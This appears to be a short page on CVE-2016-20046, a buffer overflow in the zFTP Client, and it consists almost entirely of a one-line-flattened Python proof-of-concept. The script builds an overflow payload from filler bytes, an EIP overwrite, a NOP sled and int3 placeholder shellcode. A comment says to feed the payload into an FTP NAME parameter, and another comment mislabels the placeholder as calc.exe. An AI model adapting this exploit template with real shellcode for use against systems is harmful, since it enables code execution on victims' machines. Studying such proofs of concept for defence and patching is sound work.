CVE-2016-20046: zFTP Client本地缓冲区溢出漏洞

#!/usr/bin/env python3 # PoC for CVE-2016-20046: zFTP Client Buffer Overflow # This script generates a malicious string to trigger the overflow. def generate_payload(): # Buffer size is 80 bytes. We need to overflow and overwrite EIP. # Fill the buffer (80 bytes) buffer = b'A' * 80 # Overwrite EIP (4 bytes on x86) - Example address eip = b'\xbb\x11\x11\x11' # NOP sled + Shellcode (Example calc.exe) nop_sled = b'\x90' * 32 shellcode = b'\xcc' * 50 # Int3 for testing crash payload = buffer + eip + nop_sled + shellcode return payload if __name__ == "__main__": print("[+] Generating malicious payload for CVE-2016-20046...") payload = generate_payload() print(f"[+] Payload length: {len(payload)} bytes") print("[+] Payload (hex):", payload.hex()) # Usage: Feed this payload into the NAME parameter of a FTP connection # handled by the vulnerable zFTP Client.